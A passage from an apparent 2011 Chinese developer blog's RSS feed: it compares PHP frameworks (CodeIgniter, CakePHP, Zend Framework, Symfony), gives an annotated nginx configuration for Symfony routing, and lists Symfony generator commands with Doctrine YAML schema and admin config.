style="line-height: normal; " /><br style="line-height: normal; " />评价：<br style="line-height: normal; " /><br style="line-height: normal; " />总体来说，拿CodeIgniter来完成简单快速的应用还是值得，同时能够构造一定程度的layout，便于模板的复用，数据操作层来说封装的不错，并且CodeIgniter没有使用很多太复杂的设计模式，执行性能和代码可读性上都不错。至于附加的 library 也还不错，简洁高效。<br style="line-height: normal; " /><br style="line-height: normal; " />【 CakePHP 】<br style="line-height: normal; " /><br style="line-height: normal; " />官方网站：http://www.cakephp.org<br style="line-height: normal; " /><br style="line-height: normal; " />中文手册：http://www.1x3x.net/cakephp<br style="line-height: normal; " /><br style="line-height: normal; " />视频教程：http://search.you.video.sina.com.cn/s?key=cakephp<br style="line-height: normal; " /><br style="line-height: normal; " />测试版本：cake_1.1.19.6305<br style="line-height: normal; " /><br style="line-height: normal; " />优点：<br style="line-height: normal; " /><br style="line-height: normal; " />1. CakePHP是最类似于RoR的框架，包括设计方式，数据库操作的Active Record方式;设计层面很优雅，没有自带多余的 library，所有的功能都是纯粹的框架，执行效率还不错;数据库层的 hasOne, hasMany 功能很强大，对于复杂业务处理比较合适;路由功能，配置功能还不错;自动构建脚手架(scaffold)很强大;适合中型应用;基本实现过了MVC每一层;具有自动操作命令行脚本功能;<br style="line-height: normal; " /><br style="line-height: normal; " />2. 文档比较全，在国内推广的比较成功，大部分都知道CakePHP，学习成本中等<br style="line-height: normal; " /><br style="line-height: normal; " />缺点：<br style="line-height: normal; " /><br style="line-height: normal; " />1. CakePHP非常严重的问题是把Model理解为数据库层操作，严重影响了除了数据库之外的操作能力<br style="line-height: normal; " /><br style="line-height: normal; " />2. CakePHP的cache功能略显薄弱，配置功能稍嫌弱;CakePHP不适合大型应用，只适合中型应用，小型应用来说略微的学习成本高了点<br style="line-height: normal; " /><br style="line-height: normal; " />评价：<br style="line-height: normal; " /><br style="line-height: normal; " />总体来说CakePHP框架代表了PHP框架很重要的一个时代和代表，并且目前发挥着很重要的作用，不少自己写的框架都模仿了CakePHP的方式，是个里程碑式的产品;CakePHP透露着RoR的敏捷开发方式和把数据库操作认为是唯一Model的设计思想，作为开发快速应用和原型是绝好的工具;同样，用来做Web2.0网站的开发框架，也是值得选择的。<br style="line-height: normal; " /><br style="line-height: normal; " />【 Zend Framework 】<br style="line-height: normal; " /><br style="line-height: normal; " />官方网站：http://framework.zend.com<br style="line-height: normal; " /><br style="line-height: normal; " />中文手册：http://www.phpeye.com/zf<br style="line-height: normal; " /><br style="line-height: normal; " />视频教程：http://framework.zend.com/docs/screencasts<br style="line-height: normal; " /><br style="line-height: normal; " />测试版本：ZendFramework-1.5.0<br style="line-height: normal; " /><br style="line-height: normal; " />优点：<br style="line-height: normal; " /><br style="line-height: normal; " />1. 官方出品，自带了非常多的 library，框架本身使用了很多设计模式来编写，架构上很优雅，执行效率中等;MVC设计中，比较简洁，具有路由功能，配置文件比较强大(能够处理 XML和php INI)，各种 library 很强大，是所有PHP框架中各种功能最全面的，包括它不仅是一个框架，更是一个大类库(取代PEAR)，这是它的主要特色;能够直观的支持除数据库操作之外的Model层(比 CodeIgniter 和 CakePHP 强)，并且能够很轻易的使用Loader功能加载其他新增加的Class;Cache功能很强大，从前端Cache到后端Cache都支持，后端 Cache支持Memcache、APC、SQLite、文件等等方式;数据库操作功能很强大，支持各种驱动(适配器)<br style="line-height: normal; " /><br style="line-height: normal; " />2. 文档很全，在国内社区很成熟，并且目前不少Web 2.0网站在使用，学习成本中等<br style="line-height: normal; " /><br style="line-height: normal; " />缺点：<br style="line-height: normal; " /><br style="line-height: normal; " />1. MVC功能完成比较弱，View层简单实现(跟没实现一样)，无法很强大的控制前端页面<br style="line-height: normal; " /><br style="line-height: normal; " />2. 没有自动化脚本，创建一个应用，包括入口文件，全部必须自己手工构建，入门成本高<br style="line-height: normal; " /><br style="line-height: normal; " />3. Zend Framework 作为一个中型应用框架问题不大，也能够勉强作为大型应用的框架，但是作为一个很成熟的大型PHP框架来说，还需要一些努力<br style="line-height: normal; " /><br style="line-height: normal; " />评价：<br style="line-height: normal; " /><br style="line-height: normal; " />作为官方出品的框架，Zend Framework的野心是可以预见的，想把其他框架挤走，同时封装很多强大的类库，能够提供一站式的框架服务，并且他们的开发团队很强大，完全足够有能力开发很强大的产品出来，所以基本可以确定的是Zend Framework前途无量，如果花费更多的时间去完善框架。同样的，Zend Framework架构本身也是比较优雅的，说明Zend官方是有很多高手的，设计理念上比较先进，虽然有一些功能实现的不够完善，比如View层，自动化脚本等等，这些都有赖于未来的升级。总体来说Zend Framework是最值得期待的框架，当然，你目前要投入你的项目中使用也是完全没问题的。<br style="line-height: normal; " /><br style="line-height: normal; " />【 Symfony 】<br style="line-height: normal; " /><br style="line-height: normal; " />官方网站：http://www.symfony-project.org<br style="line-height: normal; " /><br style="line-height: normal; " />中文网站：http://symfony-project.cn<br style="line-height: normal; " /><br style="line-height: normal; " />权威指南：http://www.symfony-project.org/book<br style="line-height: normal; " /><br style="line-height: normal; " />学习参考：http://sf.thecodecentral.com<br style="line-height: normal; " /><br style="line-height: normal; " />测试版本：symfony-1.0.13<br style="line-height: normal; " /><br style="line-height: normal; " />优点：<br style="line-height: normal; " /><br style="line-height: normal; " />1. Symfony 是我了解的PHP框架中功能最强大的，而且我使用时间比较长，但是很多功能还是没有挖掘出来;它完整实现了MVC三层，封装了所有东西，包括 $_POST，$_GET 数据，异常处理，调试功能，数据检测;包含强大的缓存功能，自动加载Class(这个功能很爽)，强大的i18n国家化支持;具有很强大的view层操作，能够零碎的包含单个多个文件;非常强大的配置功能，使用yml配置能够控制所有框架和程序运行行为，强大到让人无语;能够很随意的定义各种自己的 class，并且symfony能够自动加载(auto load)这些class，能够在程序中随意调用;包含强大的多层级项目和应用管理：Project --&gt; Application --&gt; Module --&gt; Action，能够满足一个项目下多个应用的需要，并且每层可以定义自己的类库，配置文件，layout;非常强大的命令行操作功能，包括建立项目、建立应用、建立模块、刷新缓存等等;<br style="line-height: normal; " /><br style="line-height: normal; " />2. Symfony绝对是开发大型复杂项目的首选，因为使用了Symfony，将大大节约开发成本，并且多人协作的时候，不会出现问题，在Project级别定义好基础Class以后，任何模块都能够重用，大大复用代码<br style="line-height: normal; " /><br style="line-height: normal; " />缺点：<br style="line-height: normal; " /><br style="line-height: normal; " />1. 数据库操作model采用了重量级的propel和creole，不过在我测试的版本中已经把他们移到了addon里，可用可不用<br style="line-height: normal; " /><br style="line-height: normal; " />2. 缓存功能无法控制，每次开发调试总是缓存，需要执行 symfony cc, symfony rc 来清除和重建缓存;<br style="line-height: normal; " /><br style="line-height: normal; " />3. 效率不是很高，特别是解析模板和读取配置文件的过程，花费时间不少;<br style="line-height: normal; " /><br style="line-height: normal; " />4. 学习成本很高，并且国内没有成熟的社区和文档，连中文手册都没有，相应的要掌握所有功能，需要花费比较多的时间<br style="line-height: normal; " /><br style="line-height: normal; " />评价：<br style="line-height: normal; " /><br style="line-height: normal; " />Symfony绝对是企业级的框架，唯一能够貌似能够跟Java领域哪些强悍框架抗衡的东西;强悍的东西，自然学习复杂，但是相应的对项目开发也比较有帮助，自然是推荐复杂的项目使用Symfony来处理，觉得是值得，后期的维护成本比较低，复用性很强。相应的如果使用Symfony的应该都是比较复杂的互联网项目，那么相应的就要考虑关于数据库分布的问题，那么就需要抛弃Symfony自带的数据库操作层，需要自己定义，当然了，Symfony支持随意的构造model层。<br style="line-height: normal; " /><br style="line-height: normal; " />【 总评 】<br style="line-height: normal; " /><br style="line-height: normal; " />以上数款框架，各有特色，而且都是开源项目，不过框架针对的项目不一样，一般来说 CodeIngiter 比较适合小型项目，CakePHP 和 Zend Framework 比较适合中型项目，Symfony 比较适合大型重量级项目，在项目选型的时候，要充分考虑框架的可以定制性、扩展性，因为每个项目都无法确定你是否会随着需求的变化进行改变。<br style="line-height: normal; " /><br style="line-height: normal; " />相对来说，Zend Framework 和 Symfony 应对变化的能力比较强，特别是能够随意定制 model 层的Class，能够非常方便增加自己业务或者数据处理类，我是个人比较推荐在中大型项目中使用的框架。CodeIngiter 和 CakePHP 在中小型项目中同样能够发挥重大作用，快速开发和原型构建，非常适合目标不清晰的原型项目的开发。了解一个框架最好的方式就是使用它，学习它最好的方式就是看视频。:-)<br style="line-height: normal; " /><br style="line-height: normal; " />仁者见仁，智者见智，在项目挑选框架的时候，请先认真考察项目的需求和未来的变化，然后选择合适的框架，让项目开发速度和后期维护性得到一个合理的平衡，当然了，也许，自己写一个框架更适合。 :-)<br style="line-height: normal; " /><br style="line-height: normal; " />泛泛的评价了几款框架，估计很多东西都没有说到点子上，大家就姑且看之，同样欢迎提出看法指正!</span></div><img src ="http://www.blogjava.net/xiaomage234/aggbug/366153.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2011-12-12 15:18 <a href="http://www.blogjava.net/xiaomage234/archive/2011/12/12/366153.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>让symfony运行在nginx上的完美配置 【转】</title><link>http://www.blogjava.net/xiaomage234/archive/2011/12/12/366130.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Mon, 12 Dec 2011 03:37:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2011/12/12/366130.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/366130.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2011/12/12/366130.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/366130.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/366130.html</trackback:ping><description><![CDATA[<div><p><div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">配置的重点在server这个node上，其他用nginx默认配置就行，这里就只写出server那一块的配置。因为symfony需要一些php $_SERVER里的变量来做路由，但是nginx赋给php的$_SERVER值并不是完全正确的，我也是查了不少资料才调好的，希望能对想让symfony在nginx上跑的同学有所帮助</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;"><br /></span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;"><br /></span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">http {</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; ...</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; server {</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; listen &nbsp; &nbsp; &nbsp;80; #nginx的端口</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; server_name localhost; #网站网址，这里以localhost为例</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; root &nbsp; &nbsp; &nbsp; &nbsp;/path/to/root; #根目录路径</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; chareset &nbsp; &nbsp;utf-8;</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; location /sf/ { #如果url匹配"/sf/"</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; &nbsp; alias /path/to/symfony/data/web/sf/; #访问/sf下面的资源所在的目录</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; }</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; location ~ ^/.+\.php(/.*)?$ { #如果匹配类似/frontend_dev.php/*这样的</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; &nbsp; set $script $fastcgi_script_name; #像/frontend_dev.php这样的url，直接把$fastcgi_script_name赋值给$script</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; &nbsp; if ($document_uri ~ ^(.+\.php)(/.*)) { #如果又匹配/frontend_dev.php/article/1这样的</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; &nbsp; &nbsp; set $script &nbsp; &nbsp;$1; #把frontend_dev.php赋值给$script</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; &nbsp; &nbsp; set $path_info $2; #把/article/1赋值给$path_info，如果用nginx默认的配置，$_SERVER['path_info']会不正确而导致symfony找不到正确的路由</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; &nbsp; }</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; &nbsp; fastcgi_pass &nbsp;127.0.0.1:9000; #php-cgi服务</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; &nbsp; #下面开始给php的$_SERVER相关变量赋值，不写对都有可能运行不了symfony</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; &nbsp; include &nbsp; &nbsp; &nbsp; fastcgi_params; #这里面有很多nginx默认给php的$_SERVER赋的环境变量值，</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #如果你想要把这句放后面的话，下面已经赋过值的记得注释掉，否则又被覆盖回原来的错误值</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; &nbsp; fastcgi_param SCRIPT_FILENAME $document_root$script;</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; &nbsp; fastcgi_param SCRIPT_NAME &nbsp; &nbsp; $script;</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; &nbsp; fastcgi_param PATH_INFO &nbsp; &nbsp; &nbsp; $path_info;</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; &nbsp; fastcgi_param DOCUMENT_URI &nbsp; &nbsp;$document_uri;</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; &nbsp;&nbsp;</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; }</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; location / { #当前面的规则都不匹配，就运行这个(剩下的url肯定都匹配/)</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; &nbsp; if (-f $request_filename) { #如果资源（像css，js这样的文件）和请求的url是匹配的，也就是说能根据url直接找到</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; &nbsp; &nbsp; expires max; #那就永不过期</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; &nbsp; &nbsp; break; &nbsp; &nbsp; &nbsp; #并且不往下执行了</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; &nbsp; }</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; &nbsp; #否则得话都给他rewrite到index.php上去</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; &nbsp; rewrite .* /index.php last;</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; &nbsp; }</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">&nbsp; }</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">}</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">关于path_info部分还有更简单的写法，而且是官方例子，参见我另外一篇博客。</span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;"><br /></span></div><div><span style="font-size: 12px; line-height: normal; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;">另外配置symfony等单一入口框架也有更好的例子，参见我新写的文章</span></div></div></p></div><img src ="http://www.blogjava.net/xiaomage234/aggbug/366130.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2011-12-12 11:37 <a href="http://www.blogjava.net/xiaomage234/archive/2011/12/12/366130.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>symfony generate.生成.框架.快捷键 </title><link>http://www.blogjava.net/xiaomage234/archive/2011/12/10/366048.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Sat, 10 Dec 2011 11:45:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2011/12/10/366048.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/366048.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2011/12/10/366048.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/366048.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/366048.html</trackback:ping><description><![CDATA[<div><span style="color: #9a9a9a; font-family: arial; font-size: 12px; line-height: 18px; "><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #6d6d6d; line-height: 26px; ">1 新建立工程<br />D:\xampp\htdocs\mycms&gt;D:\symfony\data\bin\symfony generate:project mycms<br />2 创建前台和后台<br />D:\xampp\htdocs\mycms&gt;D:\symfony\data\bin\symfony generate:app frontend&nbsp;<br />D:\xampp\htdocs\mycms&gt;D:\symfony\data\bin\symfony generate:app backend<br />3 生成model表单模型<br />D:\xampp\htdocs\mycms&gt;D:\symfony\data\bin\symfony doctrine:build --all<br />4 从data下填充数据库到数据库<br />D:\xampp\htdocs\mycms&gt;D:\symfony\data\bin\symfony doctrine:generate-module frontend job Job --with-show --non-verbose-template<br />5 生成后台action及模版<br />D:\xampp\htdocs\mycms&gt;D:\symfony\data\bin\symfony doctrine:generate-admin backend Category<br />D:\xampp\htdocs\mycms&gt;D:\symfony\data\bin\symfony doctrine:generate-admin backend Content<br />D:\xampp\htdocs\mycms&gt;D:\symfony\data\bin\symfony doctrine:generate-admin backend Comment<br />6 格式化后台程序的输出&nbsp;<br />D:\xampp\htdocs\mycms&gt;D:\symfony\data\bin\symfony plugin:publish-assets<br />7 创建前台程序<br />D:\xampp\htdocs\mycms&gt;symfony doctrine:generate-module frontend category Category --with-show<br />D:\xampp\htdocs\mycms&gt;symfony doctrine:generate-module frontend content Content --with-show<br />D:\xampp\htdocs\mycms&gt;symfony doctrine:generate-module frontend comment Comment --with-show<br />8 目前位置一个带有前台和后台的应用程序已经全部好了。</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #6d6d6d; line-height: 26px; ">//---------------------------yml 应用程序的数据库 ---------------------------------<br />Category:<br />columns:<br />&nbsp;&nbsp;&nbsp; name: string(50)<br />&nbsp;&nbsp;&nbsp; description: string(1000)</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #6d6d6d; line-height: 26px; ">Content:<br />actAs:<br />&nbsp;&nbsp;&nbsp; Timestampable: ~<br />columns:<br />&nbsp;&nbsp;&nbsp; title: string(255)<br />&nbsp;&nbsp;&nbsp; body: clob<br />&nbsp;&nbsp;&nbsp; view_count: integer<br />&nbsp;&nbsp;&nbsp; recommend_level:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; type: enum<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; values: [0,1,2]<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; default: 2<br />&nbsp;&nbsp;&nbsp; category_id: integer<br />relations:<br />&nbsp;&nbsp;&nbsp; Category:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; local: category_id<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; foreign: id<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; foreignAlias: Contents</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #6d6d6d; line-height: 26px; ">Comment:<br />columns:<br />&nbsp;&nbsp;&nbsp; body: clob<br />&nbsp;&nbsp;&nbsp; user_id: integer<br />&nbsp;&nbsp;&nbsp; content_id: integer<br />relations:<br />&nbsp;&nbsp;&nbsp; Content:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; local: content_id<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; foreign: id<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; foreignAlias: Comments<br />//---------------------------yml 应用程序的后台样式 ---------------------------------&nbsp;&nbsp;&nbsp;<br />generator:<br />class: sfDoctrineGenerator<br />param:<br />&nbsp;&nbsp;&nbsp; model_class:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; category<br />&nbsp;&nbsp;&nbsp; theme:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; admin<br />&nbsp;&nbsp;&nbsp; non_verbose_templates: true<br />&nbsp;&nbsp;&nbsp; with_show:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; false<br />&nbsp;&nbsp;&nbsp; singular:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~<br />&nbsp;&nbsp;&nbsp; plural:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~<br />&nbsp;&nbsp;&nbsp; route_prefix:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; category<br />&nbsp;&nbsp;&nbsp; with_doctrine_route:&nbsp;&nbsp; true<br />&nbsp;&nbsp;&nbsp; actions_base_class:&nbsp;&nbsp;&nbsp; sfActions</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #6d6d6d; line-height: 26px; ">&nbsp;&nbsp;&nbsp; config:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; actions:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _delete:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; label: 删除<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _list:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; label: 返回管理<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fields:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; id:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; label: 编号<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; name:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; label: 名字<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; description:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; label: 描述<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; list:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; title: 信息管理<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; display: [id,=name,description]<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; layout: stacked<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #params: 编号:%%id%%&lt;br /&gt;名字:%%name%%&lt;br /&gt;描述:%%description%%&lt;br /&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sort: [title,view_count,category, DESC]<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; max_per_page: 6<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; batch_actions:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _delete:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; label: 删除<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; publish:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; label: 发布<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; object_actions:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _edit:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; label: 编辑<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _delete:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; label: 删除<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; publish:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; label: 发布<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; actions:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _new:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; label: 创建</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #6d6d6d; line-height: 26px; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; filter: ~<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; form:&nbsp;&nbsp;&nbsp; ~<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; edit:&nbsp;&nbsp;&nbsp; ~<br 